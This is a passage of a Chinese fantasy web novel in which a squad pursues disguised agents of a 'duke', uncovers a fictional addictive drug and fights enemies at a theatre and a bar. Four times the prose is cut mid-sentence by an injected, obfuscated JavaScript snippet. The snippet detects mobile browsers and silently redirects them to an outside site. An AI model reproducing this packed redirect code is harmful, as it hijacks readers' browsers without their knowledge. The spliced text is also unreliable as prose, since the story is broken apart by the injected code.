她现在的表情说得上狰狞:“还以为只有庸常之辈才会在乎那套无聊的避讳,结果连堂堂塔城典狱长、素有‘魔女绞肉机’美名的权朱长官也不能免俗,真是太让我失望了!” 当在场所有人都被她骇了一大跳时,倏然间,她又切回了刚才那张笑脸。 “也是人之常情啦,毕竟我们都是狄安娜女神最忠诚的信徒嘛!”说着……呃,所以我们到底该叫她什么呀,害怕……哦还有姓氏呢……说着,普拉斯特小姐敷衍地双手合十一下,又迫不及待地再次拉起权朱的手,热情地晃了晃:“长官,你是哪一年到我们镇上来做生意的呀?你说在广场附近,难道是那边的旧物市场?不过我有个问题,塔尔塔洛斯的休假时间有这么长吗,居然都够你到另一个城邦来发展副业啦?” 即便当场被拆台,权朱也是微笑如常:“的确,我们单位福利很好的,欢迎毕业后报考。” 普拉斯特轻笑出声,还眨巴着眼睛戳了戳他的心口,一切行为都出自怀春少女的人设,仿佛刚才做出严厉批判的是偶尔会附在她身上的魔女。 “看在你好心帮夜之窟打广告的份儿上——”说话间,涂着斑驳黑指甲油的纤长手指大胆攀上了斑驳的脸颊:“权长官有没有兴趣随我去那里小酌一杯呢?难得见一次龟裂系美男,大家都不好意思出手,我可不是什么有节操的人,我要抢先约走了哦。” 的确,听她这么一说,众人又偷眼看了看权朱的脸,发现他的肤色不匀并非呈斑点状分布,说“斑驳”还不够准确,更像是被轻敲了一下的鸡蛋壳,或者挂在墙上的有轨公车线路图,仿佛底下有个浅色的人长得太快,把外面那层深色的壳撑出了无数道细缝,再走两步就要成功破壳而出了。 权朱不在意那些无礼的注视,双眼聚焦在普拉斯特身上,认真分析着她的话。 “做生意”的人都知道,旧矿山镇有一个好玩儿的潜规则:邀请别人去夜之窟“喝一杯”,正经人心里想的都是那个架在管道上的露天咖啡馆,不正经的嘛,总有门路进入它斜下方的、入口特别不起眼的“赤焰”小酒馆。 根据二者的饮品质量差距,可简单粗暴地总结出一条规律——提及夜之窟,不正经的人与正经的人在扇形图上的占比,相当于披萨与披萨边。 “乐意之至。”于是他说,“普拉斯特小姐,你的眼睛让我想起了浸在美酒中的深焰花,十分贴合赤焰酒馆的气质。” 狄安娜……不管了,就叫狄安娜吧,女神又听不到旁白……的情绪似乎总是大起大落的,闻言眼睛都亮了,用力拍拍权朱的脸颊说:“好哎,你很上道嘛!” 怪人与怪人间的交际是这样的,投我以比喻句,报之以比喻句: “那我也夸夸你,你的眼睛总让我联想起一个东西。”少女用手指尖轻点下巴,笑得不怀好意,“很亮、很闪,刚现身时就受到万众瞩目——” “流星吗?”权朱礼貌性地猜测。 “不,是伯利恒之星。它不是在神魔大战期间碎掉了嘛,故事书和圣诗集都是这么写的。” “唔,原来是这方面的相似啊。” 狄安娜自然而然地挽起权朱的胳膊,却又垂下头自言自语:“……简直就像赋格魔法一样神奇。” 说话间,旅客盘查即将结束。权朱向分属冰川和森林两大戍卫队的双胞胎点头致礼,臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066133|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上挂着刚认识的少女,大步流星地走出了大厅。 狄安娜身高不过175,却能轻轻松松跟上他的脚步,还气息平稳地叽叽喳喳个不住:“权长官,你这回是来旧矿山镇做什么的呀?总不能是为了阿瑞斯杯这么无聊的理由吧?” 在塔尔塔洛斯就听过狄安娜·普拉斯特大名的权朱当然不信她对阿瑞斯杯的这句评价,但他对职务之外的事向来漠不关心,以至于不想在撒谎上分配太多精力:“我有一个想见的人,听说她去了旧矿山镇,因为交通不便利,目前还没‘上来’,所以我打算先到一步,在她现身之前悠哉悠哉地混过这段日子。” 狄安娜好奇地歪头:“是谁呀?不会又是哪里的魔女吧?” 权朱不答,只稍稍敛去了唇边的笑容。 ———— ———— 两分钟后,被文件之耳光混合着其他诡异技能砸晕的黑衣人才悠悠醒转,最先听到的就是第一目标的大嗓门,咋咋呼呼、神气活现的。 “从这儿到地心剧院全是浅色的大理石地砖,虽然今天见不到阳光,但伪装术也要考虑环境对光色的影响,听懂了吗!” 克洛诺斯背对着他,还在给后辈们进行着——听起来像摄影相关的——技术分析,过早暴露身份的伪装者尝试活动手腕脚腕,发现任何一处都动弹不得。 觑眼一看,原来四个关节都被一圈灰白色的骨节环绕着。不过,经验丰富的伪装者马上判断出,真正引起麻痹感的是连接在那之间、若隐若现的幻影锁链。 惊慌之下,他做出了不太正确的判断:在被人发现之前继续装晕。 然而克洛诺斯头也不回地说:“噢哟,最重要的学生踩着下课铃进来了,老师这门课还不算白上。” 他只是随意地抬一抬手,麻痹感便钻进骨缝深处,伪装者不禁闷哼起来。 和情报根本不一样,小小一个临时指挥所竟是此等的龙潭虎穴……就连那两个看起来很年轻的男女都和克洛诺斯一样平静,只有戴眼镜的红发男端着半盘苹果派,谨慎地往后缩了缩。 “真是的,吓我一大跳。”马尔科姆心有余悸地抱怨着,“这么好的苹果派,差点就没抢救下来!” 克洛诺斯也终于回过头,对那箕踞坐在地上的倒霉蛋说:“看见没,让无辜路人受到惊吓,既是失败的伪装,又是失败的跟踪。” 他不知从哪摸出了一只碧绿的玻璃瓶,“叮叮”地敲了两下,叹息一声道:“用的还是通识教科书上都会例举的道具,太没创意了!” 看清了那是什么,伪装者心中的绝望更深了。 瓶装眩晕魔法,击碎后可覆盖70平米以下的室内空间,仅在白金币占有者手上流通,显然不是正规军队能接触到的东西,然而克洛诺斯手中的瓶子完完整整的一个裂缝都没有,只有瓶口徐徐转动着锁链的影子。 “没创意的人果然连魔法造物都用不好。”宛如一个优秀的督学,他在严厉的批评后还记得宽慰学生两句:“也罢,年轻人的第一份工作总是专业不对口的,你出来之后可以去剧团应聘演员,没准儿还能混个全款买房。” 这是何意?要走正规程序把他送进监狱?痴心妄想! “约特·法伊尔阿本德……” 困兽般的年轻男人拼命咧开嘴,冲克洛诺斯露出一抹怪异的笑容。 “我代公爵大人……向你们问好。” 50. 第四十一章 第四种货币 听到这个称号,比起两位领导,豆子首先看向的是露娜。 ——后者眉头深锁,脸上却不见半分迷惑的神色。 抓不住重点的克洛诺斯则走到倾倒的茶几旁边,匪夷所思地把它翻到背面,指着几枚镖状武器大呼小叫起来:“真新鲜!你管这叫问好?” 见他挪动位置,那人目光一凛。船锚一旦从眼前的海域拔起,困兽趁机发力,猛地挣脱出枷锁,扑向失去防线的鱼群—— 几乎同时,他腹部挨了一拳,像被洋流卷走的海藻那般飞了出去,重重地撞上了挂有软木板的那面墙。 豆子收回拳头,还要上去补一脚,克洛诺斯抬手制止了他。 被加粗的幻影锁链捆绑住,伪装者冷笑一声,嘴唇蠕动,还想再说什么—— 奇妙的是,软木板可能在运输途中沾染了一些人性,就连反射弧都跟它的搬运工完全一致:受到撞击后,先是愣住,过了一会才反应过来,大受震撼地从钉子上脱落,恰恰好好,“咚”地砸中了受害者头顶的要害处——在新生儿时期叫“囟门”的那个位置。 陷入昏迷前,通过脑内代达罗斯学院的芯片,年轻男人把“目标一心不能二用,无法面对一人讲话的同时控制‘刻影的锁链’”这则拿命换来的珍贵情报发送出去,目的地是静候在远方的某台飞笺器。 锏的骨节排着队飞回到剑柄上,克洛诺斯好像没注意到软木板补刀成功似的,还要严格地走完道歉——或者说为自己人开脱的流程:“别怪他,我们豆子平等地憎恶每一个带来战争与灾祸的人,还特别讨厌别人碰他的脸!” “……我叫人来处理一下吧。”露娜说。 没有暗中提醒的机会,豆子有些焦灼,克洛诺斯却仿佛心有灵犀般否决了她的提议:“兹事体大,弄不好还得移交塔尔塔洛斯,我先让我们的队员盯着他,就不麻烦戍卫队的弟兄们了。” 马尔科姆这才放心让苹果派离开自己的视野,上前摸索一番,从那人身上搜出一张热情岛屿小剧场的情侣座位票——某个有名的巡回艺术团今天傍晚就有一场表演。 克洛诺斯一看,都乐出声了:“不是,他还盼着工作结束了去看个表演放松心情呐?” 焦灼再次漫上心头。然而,还是在豆子刚把说话要用的空气吸入丹田时,这只爱叫人操心的灰喜鹊目光又锐利起来:“你们说,这到底是低估了敌人,还是故意要把敌人往那边引?” 也许是票上的“情侣座”给他提供了灵感,应对变化的事态,他带着怪笑做出了安排:“豆子、劳伦斯小姐,只能麻烦你们二位跑一趟啦!我们大部队假装不动,暗地里分批派人包抄剧场,你们就等表演快开场时一起进去,都换身便服,以吸引……也未必,多留个心眼就好。” 得意于计划的一箭双雕,克洛诺斯春风满面地拍着露娜的肩膀道:“那么我们罗宾小队员就拜托你啦!” “等一等。”露娜不予理会,眉头仍没有松开的迹象,“此人发动攻击的方式毫无计划性,也没给自己留后路,他现在很可能在用我们不知道的技术向外界传递情报。” 马尔科姆看了一眼矿油灯,忽然道:“说到技术,很多年前,威丝塔芬有个不被世人理解的名门望族,顶着数不尽的地契官司专门建了个地堡,举家都在里头研究魔法之外的‘技术’,包括提纯方式简单又有可持续性的新能源——” 克洛诺斯跟他一唱一和:“对对,我也记得,那个家族好像跟劳伦斯小姐还是同姓氏的,哈哈哈,怎么会这么巧?” 亲身体验了终止式真正的绝学——话题闪躲术,仿佛被谁用棉花替换了肌肉组织,露娜就是再大的劲儿也使不出来了。 却没想到,三板斧中看似最靠谱的豆子也若有所思道:“听说那个家族研究禁忌技术触怒了女神,被判处天罚后就没落了……” “不知道现在在哪儿还能找到他们的踪迹。”克洛诺斯接话道,“但我相信这个家族的后人一定改名换姓进入了各行各业,真希望他们贯彻家训,把为人类谋福祉的大好事坚持到底呀!” ———— ———— 前往小剧场的路上,行人已纷纷收起了伞。 只是湿度仍然相当大,空气被风不断搅动,于是比雾还要厚重,豆子觉得路程漫长可能也有这方面的原因在。 越是接近广场死角里藏污纳垢的小街道,地面越是不平整。绕过了一块一块的水洼,绕不过去的是露娜的打探: “有了镇长这句话,你们那个任务是不是要取消了?” 她问的是双尸案之后克洛诺斯接到西城市政厅的通知,点名让终止式在半个月内把死者的遗体运送回“威丝塔芬老家”。 “没有,我们人手还算充足,护送遗体的工作用不着全队出动。”豆子诚实回答。 露娜“嗯”了声,移开目光,不再多言。 豆子非常能理解她的感受。于公于私,被上级安排与不熟悉的异性共同观看成人表演,任谁都会尴尬。 于是在绅士文化的驱使下主动续上话题,即便知道这样并不能扭转她“北城猴子”的印象:“麻烦的是威丝塔芬那边的环境我们不熟悉,克洛诺斯队长只是出生在那里,他离家早,成为阿瑞斯杯选手后也很少有机会回去。” 露娜敏锐地捕捉到了潜台词:“你觉得护送任务不像看起来的那么简单?” 豆子扯扯嘴角:“否则也不会特意安排终止式去做了。” “是啊。那到底是西城市政厅合议的结果,还是密涅瓦祭司的个人主张呢……他们发函走的是正规渠道吧?” “很难说,是獬先生亲自用密线通话转达给我们的。” 提到北城祭司,露娜露出了然的表情:“那真的很难说了。总之我们这帮小喽啰不要轻易揣测上面的意思,他们这么做肯定有他们的道理。” 豆子略略蹙眉,想起獬每次隐瞒不报被拆穿后的那副心虚样儿,愈发感受到了城邦与城邦之间的文化差异。 一时被勾起了好奇心,无礼地打听起了东城“上面的上面”:“恰比镇长联系到恩格玛馆长了吗?” “还没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071556|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能是豆子问得太唐突,露娜没反应过来,一时违背她被反复强化过的信条揣测道:“谁叫馆长他老人家身兼多职呢,前段时间才在弥赫迪斯参加完学术研讨会,这届大赛上又出现了不少新面孔,他回来就要主持阿瑞斯杯英雄馆的更新工作了……说不定他连双尸案都不知道。” 绝无可能。 豆子没兴趣点破忠心不二的“小喽啰”的妄想,毕竟助听器的维护费用实在不是体制外的低收入群体负担得起的。 他只关注到一件事:忠心不二的劳伦斯小姐,居然没有纠正他说的“恰比镇长”。 也就是说,自从口头上把私人警卫队变成了公家的“警官”,神不知鬼不觉地,邱小姐又篡改了一个概念。 为什么就是屡试不爽呢?同一现象短时间内连续发生两次,急躁的人已经可以把它当成规律总结了—— 简直就和赋格魔法一样神奇。 但愿是他想多了。 ———— ———— 暗流涌动中,期待与不期待的人群从四面八方聚集起来,先后汇入了一个奇特的空间:热情岛屿小剧场。 有时候人类的松弛感是令人咋舌的:肩负重任的伪装者、上岸者、谁家的先遣队队员,为了在危机四伏的陌生环境中充分享受下班时间,竟把情侣票买到了第一排——克洛诺斯是这样理解的,豆子和露娜来这趟的目的之一就是推翻这个假说。 白花花的□□恨不得就在鼻尖上跳舞,再怎么互相不想搭理,罗宾和露娜也不得不面对面地攀谈起来。 “‘桢似幻’?我还真听说过,你等会,容我回想一下我家园丁的话……” “普通园丁是不可能知道这个的,除非他近几年还辅修了药学——” “我想起来了!” 在劳伦斯家族的后人面前,豆子谦卑地闭上了嘴。 “你们被骗了,所谓的‘桢似幻’根本就不是自然生长的单一植物。”露娜回忆起的事物非常冷门,可她的口气却像在讲述某种常识,“它也不是一种花,而是熟成之后爆开的浆果。它的原身是在法厄同谷培养的花楸,又称‘门户树’,把果实采摘下来,用深红的酒神酒浸泡成蓝紫色,看起来就和游医队违禁药典上的图片一模一样了。” 豆子肃然起敬,却在嘴上使坏:“真是一位走在时代前沿的园丁啊。” 露娜报以真诚的鄙视:“屁!他顶多知道花楸树长什么样儿,剩下全是我自己推测的。” 说着,也不知是对人还是对事,她眼中闪过一丝不易察觉的厌恶:“我还没说完,酒神酒你总知道吧?你们北城人深冬时节最钟爱的饮品,它的深红色源自酿制时加入的克里姆森花,所以我推测,现在的‘桢似幻’很可能就是曾被严格封禁、天灾之后又卷土重来的‘第四种货币’,而它在古药典上的学名叫——” “狂欢之种?”豆子喃喃接话。 一切都串起来了。所谓的“第四种货币”意指这样一种存在:从它身上牟取暴利的群体与消费它的群体,从来都不是同一批人。 51. 第四十二章 病 见他明白过来,露娜止住话头,最后大发善心地提醒道:“是的,别信他们说的‘内融病特效药’,真照这个用法,这东西的副作用比原功效还大,尤其是还有成瘾性,再强的意志力也抵挡不住。我知道希孚里亚人皮实,等你们回去了,天冷就生篝火、没精神就多睡觉、压力大了就互相打一架,哪怕靠酗酒抗寒,也比沾上那玩意儿好。” 她说得很隐晦,且没有预设“治疗内融病”的前提,豆子也不免正色道:“明白了,谢谢你。” 也就是说……制作过程中竟还有克里姆森花的参与?那么“桢似幻”的实际药性和现存可查的所有文字资料——无论是游医队的违禁药典还是黑曜石图书馆的馆藏图鉴——似乎都有些出入。这究竟是意外,还是人为? 知情人士就在身边,豆子还在考虑如何不着痕迹地打探本次“上岸”行动有没有它出场的机会,这时,把座位买在第一排的福利显现出来了。 原来是舞台上的表演进入了高潮段落。不想看清那些没有遮挡的部位,豆子谨慎地拉高衣领遮住了半张脸,为适应新的空气环境,还抽一抽鼻子打通呼吸道,忽然,手上的动作却是一滞。 没见过这阵仗的露娜也有些慌张,偏过身子,第二次主动找豆子攀谈:“怎么了?” “我好像闻到了……应该是错觉吧。” 打从有记忆起,豆子就拥有着敏锐得仿佛生了病的五感,从血管到黏膜,全身上下每一处感受器都全天候无休、大开着门准备迎接各式各样的刺激,好像生来的使命就是去察觉那些易被忽视的事物——除了能看到大多数人看不到的色彩,对别人闻不到的气味也异常地敏感。 这项特长——洱鸾大陆人口众多,保险起见,不能随便说成“专长”——在入职终止式不久后的某场战役中发挥过作用,不过豆子很谨慎,没被人发现是他的鼻子在发挥作用。换到当前的场景,和上回一样,作用发挥在“辨认”上。 的确,每个人都有不同的气味,不能用简单的臭或香来区分,豆子也不知道怎么跟普通人描述他的感受,非要问起来,他会这么告诉你:气味就像人的身高、肤色和五官,是生物名片性质的东西。这么说你可以听懂吗? 还不能?好吧,举例来说,特征性气味就像洋葱一样是一层一层的,所有人都一样,无论是否带有洋葱味。首先是第一层基底的咸味,不是调味盐的咸,是汗水残留在皮肤表面的苦咸,随着人体活动不断往外扩散,还带着热量——这是把活人和死人区分开的特征。再来,同一人种、同一地区的居民通常有着相似的气味,在这点上豆子非常认同他在加百列工作室遇到的那位盲眼女士:西海岸的海风和东海岸的闻起来就是不一样,这是克洛诺斯、恰比镇长和中部地带高山奶牛的区别。另外,成年女性总比成年男性带有更多的酸味,到这个层面上就可以用香臭二分法来区隔一些人了:男性的自洁能力不如女性,于是,街上的男流浪汉往往用浓烈的体臭掩盖了自己的身份特征,女流浪汉就很少出现这种情况了。 接下来就是具体到每个人的差分了,请仔细听。作为一个男性,豆子不光享受不到完整的人体自洁能力,还对异性的气味有荷尔蒙方向的辨识,比方说,身边的露娜闻起来像葡萄,镇长秘书海伦小姐闻起来像新制成的玫瑰酱——事实上,特征性气味都是复合的,豆子挑出了最显著、最能往现存事物上面套的一些典型,方便你理解。 所以有的人就很奇怪了,辨识度是有的,但在现实生活中绝对找不出足以和她比拟的东西,如果能找到,那你应该怀疑自己是否被注射了狂欢之种的浸泡液——在柠檬洗涤剂和墓土气息的包裹下,自体大致散发着热腾腾的现烤牛奶面包味,但换个方向分析,这种气味又会突然变成刚从冰水里捞出来的新鲜桃子切片。 这种阴差阳错的感觉很难形容,不如换一种说法:这就相当于迎面走来一位小姐,她的正脸令你联想起刚把毛发修剪成白熊状的博美犬,可她稍稍一转身,你又能看到一只被暴雨中发狂的溪流冲进入海口的粉红色星斑蝾螈,在打着转流过你面前时留下一串“噫啊啊啊啊”的大叫。 露娜当然不知道豆子的特长——或他的病——使他背后也长了鼻子,神色复杂地瞥了眼台上老师的教具:“味儿这么大?” “……放尊重点吧。” 人们应当用豆子分辨气味的警惕心去分辨轻重缓急,因而,放任尖叫蝾螈流走,当前最重要的一种气味是—— “如果你能闻得到海风,”豆子松开衣领,又压低了帽檐:“虽然残留不多,但我发誓,那绝对不是来自不冻港的。” 露娜就差把从刚才起就一直回荡在观众朋友们心中的一句话——“你是狗吗”——写在脸上了。 给她几秒用自己的方式判断局势的时间,豆子压低声音道:“劳伦斯小姐?” 露娜点点头:“四点钟方向和六点钟方向,一边两个,一边六个,总共八人。” “不止。”豆子轻抬下巴指了指舞台,“帷幕后面还有。” “这艺术团到底什么来头?” “嘴部动作别太大,他们在看这边。” “啧。总之现在可以确定了,门票果然是种引导。” 豆子知道克洛诺斯在做决定时就排除了其他的可能性,但也没把下属当成随用随扔的炮灰,他只是喜欢把主动权掌握在自己手上、也充分信任后辈们的能力罢了。 “我们可能已经被发现了。”通过反刍指令感受到信任的豆子振奋了精神,活动活动伤还没好全的肩胛骨,缓缓把右手摸向了领口。 “你想干什么?四周都是平民,不能在这里动手。”露娜左右一瞟,不耐烦道,“我不好说,但他们绝对没见过你的脸,之所以这么快就盯上我们,是因为我们两个跟这地方太格格不入了。” 就不能是因为门票上的选座也在他们的算计中吗?豆子狐疑地跟着四下看看,不看还好,一看心脏就是一紧——随着表演进行到高潮,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076806|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋过头的单身汉,但凡是座位连在一起的男女,就没有一对不是在接吻的。 场面太过震撼,不怪露娜优先从身边找论据,豆子摇摇头,正要反驳时,胳膊却被她狠拧了一把。 “快,就现在,吻我!” 露娜急切地说道,目光紧紧盯着豆子,直盯得他头皮发麻。 劝她冷静点的话从唇边溜走,豆子深吸一口气,鬼使神差地问:“……额头可以吗?” “不可以,在这种地方只亲额头更加引人注目。”露娜咬了咬牙,目光如刀,像是要用眼皮隔空掀开他的宽檐帽,“啧,真你大爷磨叽……” 不等豆子反应过来,她一伸手,稳稳扣住了他的后脖颈—— 以上,阿邱在高处目睹之怪现状的前情全部放送完毕。 心里的冷风刮过一阵就消失了,阿邱也把手从那里拿开。这不对,她得把嘲笑继续下去、继续下去,这次她要因为什么发出嘲笑?终止式、森林戍卫队,北城猴子、东城壳子,貌合神离的两个组织,两位新人在上级的刀光剑影中酝酿出了地下情,哈哈哈、哈哈哈哈…… 不应该啊,明明两个人都跟自己没关系…… 阿邱盯着小剧场的顶篷思索一阵,得出了结论:这种心情才不是吃干醋,更有可能是不甘心,一种“我死活攻克不下来的两个难关,居然轻轻松松地内部消化啦”的不甘心。 顺着这个思路,她还可以找出更为深刻的道理:这充分说明了豆子警官和露娜并不是难关,“问题原来出在我身上啊”。 再往下看时,那两根仅对阿邱吐露冷言冷语的卑劣的,对不起,热情的口条子已经分开了。露娜身体往后倾倒,毕竟是被狠狠推开的;豆子则进一步压低了帽檐,脸埋在阴影中看不清表情,只是用手背死命擦着嘴。 哎哟,他还怪矜持的,就是表达害羞的方式有点粗暴,既不绅士也不酷,甚至都有点不知好歹了。 难道说身高的差异决定了进攻方和反抗方的倒置?哈哈哈好好笑。 “小姐、小姐!” 身后的声音大到引来不悦的目光时,阿邱才察觉到椅背被人敲了好几下,回头看到一个满头大汗的老绅士——老绅士!热情岛屿小剧场?婚前培训?!这世道……算了,在这之前就已经完蛋了。 她强迫自己平静地问:“有事吗?” “我的眼镜掉到你座位下面了,可不可以请你帮我……哎哟,这是怎么了?” 什么?谁怎么了? 好心的老绅士递来一块手帕,阿邱讷讷接过,尚不明白他的用意——她没有什么需要擦的啊。 灯光从头顶洒下,把表演者和观众的每一根汗毛都照得一清二楚。坐在旁边的大概是老绅士的妻子,一见阿邱的脸,尖着嗓子叫道:“看个表演而已,又不让你亲自上阵,至于哭成这样吗!” 阿邱莫名其妙地摸摸自己的脸。被人提醒后,指尖才感受到些许湿意。 对啊,至于吗? 52. 第四十三章 糖份 夜之窟。 淡猫俱乐部的卷帘门紧闭着,上挂一块牌子,用圆滚滚的字体写着一句话:“老板因私外出,本店歇业半天,有急事请将小纸条塞入邮箱,感谢配合,啾咪?”。 “我说什么来着?”马尔科姆一抱胳膊,“现在怎么办,大海捞针?” “走,先喝杯咖啡去。”克洛诺斯不改轻松惬意,扯着副手的后衣领就要离开,结果当然是被他激烈地挣开了。 “喝什么咖啡啊,谁有那个闲工夫——来都来了,有个人还没调查到呢。” 报刊亭关门了,上楼敲门也没回音,最后,二人还是在赤焰小酒馆找到老库奇的。 掀开紫色镶金边的门帘,库奇背对着他们坐在吧台边,正细细摩挲着醉汉安东尼奥的手背、语重心长地教他一些做人的道理,不过看样子安东尼奥是半个字都听不进去,被他一句一句说得东倒西歪,头都要栽进酒里了。 “库奇先生你好,我们是终止式的队员,想跟你打听一下淡猫俱乐部的情况。”克洛诺斯也不管他们说到了什么要紧处,径自往两人中间一坐,并以“工作时间不能饮酒,十分钟后再来找我”为由打发走了酒保。 库奇先是代表夜之窟土著对“外来者”的无礼表示了不满,得到一袋手作果酱夹心曲奇后,态度才有所放软:“夜之窟这么多家店,我哪记得他们开业几年了!但十年以上肯定是有的。” “老板换过人吗?”马尔科姆抢着问。 “没换过,刚开业时就是那个鹤隐岛打扮的黑胖子了。” “可以再说详细些吗?” 库奇不耐烦道:“还要多详细?老板就是现在的老板,可以了吗!黑、胖,搔首弄姿,行为举止跟女人一模一样;头发是染黄的,头顶那块老是有道深棕色——你们为什么不去亲眼看看?” “等等,细微的变化也没有吗?存不存在刻意模仿的可能……” “行了。”克洛诺斯制止他继续问下去,“感谢您的配合,马尔科姆,我们去卡座那边整理一下。” 坐定后,马尔科姆首先挨了顿批。 “你急什么?我看你今天真的是糖份超标了,糖份是什么好东西?停摆你的胰脏、蛀空你的牙齿、毁掉你的脑子。” 马尔科姆咬牙笑道:“跟这有什么关系?人都杀上门了,出来调查老半天都没结果,你倒是给我紧张起来啊!” “老头没提锁子甲。”克洛诺斯声音一沉,朝远处的吧台眨眨眼。 “……对!”见队友智商还在线,马尔科姆这才放松了一些,“我刚才就是想说这个。锁子甲肯定比浴衣更加引人注目,尤其是在这条街道上,库奇连头发的细节都说得一清二楚,但一句都没提到锁子甲,这不是很奇怪吗?” “你觉得他在撒谎?” “不好说,一半一半吧。他老糊涂了,上回戍卫队说他梦游到了投毒现场……好吧,抛尸现场,离谱成这样他居然也点头承认了,我的意思是,难道他还能梦游着回家吗?抛尸的动静得多大啊,梦游的人被惊醒可是很危险的。” “你还认真分析上了。”克洛诺斯冲天吐出一道苹果派味的白气,“我倒没怀疑他说谎,老糊涂是一方面,更有可能的一种情况是——那老板以前不穿锁子甲。” “唉,真的是带着答案找证据了。”马尔科姆在桌上伏低身子:“我再确认一遍,他们真是‘公爵’的人?” “现在看来只有这种可能了吧,除非我老家有财力雄厚的新变态崭露头角,足以跟他相抗衡。” “你小点声!” “没必要,德雷公爵是个变态不是公认的事实嘛!不变态大家还不乐意送他一个王政风情的称号呢。” “行行行,你的话你自己负全责。那邱小姐怎么办?” 克洛诺斯眯眼看挂钟,答非所问道:“虽说老獬叫我们别招惹上公爵的人……但他们自己找上门来就是另一码事了——好嘞,下班时间到。” 他朝待命的酒保挥了挥手,“你好,我们要点单。” 马尔科姆瞪大了眼:“你不是吧!” 酒保揣着本厚重的酒水单来了,看得出极力在忍,眼神中依然满溢着对“长官”身份的忌惮:“……二位客人想喝点什么?” “有推荐的吗?”克洛诺斯笑眯眯地说,“我们是打希孚里亚来的,酒神酒喝着都嫌淡,快把贵店最烈的酒端上来!” “不好意思,我们这儿没有那个烈度的,如果客人想体验夜之窟的特殊风味,不如试试本店招牌——特调闪电苹果酒。” “又是苹果?不行不行,咱中年人得控制糖份,对吧马尔科姆?要是有西瓜还好点,那东西未必含糖量高,但体积大呀。”克洛诺斯朝酒保一伸手,“那就不麻烦你了,拿来我们自己看吧。” 酒水单到手,克洛诺斯却没打开看,在半空中抛接着换到右手上,掂两掂,满意地“嗯”了一声。 而后,猝不及防地,用铁饼投掷运动员的标准姿势扔了出去。 被天降秘技·酒水单之耳光砸中的那人闷哼一声,软倒在地;与此同时,从那个背阴处,奇迹般地又钻出了十余条壮硕的身影,仿佛某种压缩罐头,一开始以脱水的体积团在那里,被人发现后才离开了那个角落,在这过程中由虚幻的影子变成了实体。 酒保被凭空出现的奇怪客人吓得倒退回吧台,安东尼奥也酒醒了,库奇叫嚷着拽着他要往外走。混乱中,马尔科姆早有预料般扶额道:“我真服了,拦都拦不住,非要现在动手?” “别挑剔了,这儿有地基,结实。”面对逼近的黑影,克洛诺斯“咔吧咔吧”捏着双手的骨节,兴冲冲地招呼副手:“来吧老马尔科姆,咱俩就在这里消耗掉过剩的糖份吧!” ———— ———— 变化从头顶肇始。吊灯和它的灯光一起洒下来,为什么要说“洒”?因为它在半空中就已经碎了。 宗旨是让人看清一切真相的小剧场自然不会只有这一个光源,可别的光源被熄灭时不会威胁到附近的观众。人群的四散奔逃是由点带面的,恐慌的涟漪一圈圈荡漾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087530|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开来,从舞台到观众席的后排,全都乱成了一锅粥。 稍稍暗下来、但在人们纷纷打开随身矿油灯后仍称得上灯火通明的小剧场里,预料中的毁灭却没有及时地洒下来——吊灯的碎片仿佛掉进海里被大鱼一口吞了,在半空中被一个胃袋状的透明物包裹住,缓缓地、软趴趴地落在了已无一人的观众席。 露娜·劳伦斯站在舞台上,帅气地收回了发射滞空魔法的左轮手枪,迅速填上新弹,眼睛看着门口方向偏了偏头,不知冲谁大喝一声:“快,你们负责疏散表演人员!” 她这一声令下,从舞台侧边的背阴处,钻出了数十名深灰色的森林戍卫队队员,各自拿着武器,训练有素地指挥张皇失措的演员们退回后台——那里可能有安全通道吧。 露娜仍站在舞台上不动,像是在等候什么。蓦地,从帷幕后面钻出一道黑影,挟着疾风、快得看不清形状,趁其不备,目标明确地扑向她的后背—— 风停了,原来是豆子警官。阿邱把提到嗓子眼的心脏放回肚脐眼,竖起耳朵偷听他们的谈话。 “全消失了,一个都不剩。”豆子的声音有些紧张。他们是在找什么人吗? “有蹊跷。都戒备起来!”已实际领导起整个局面的露娜掷地有声地说。 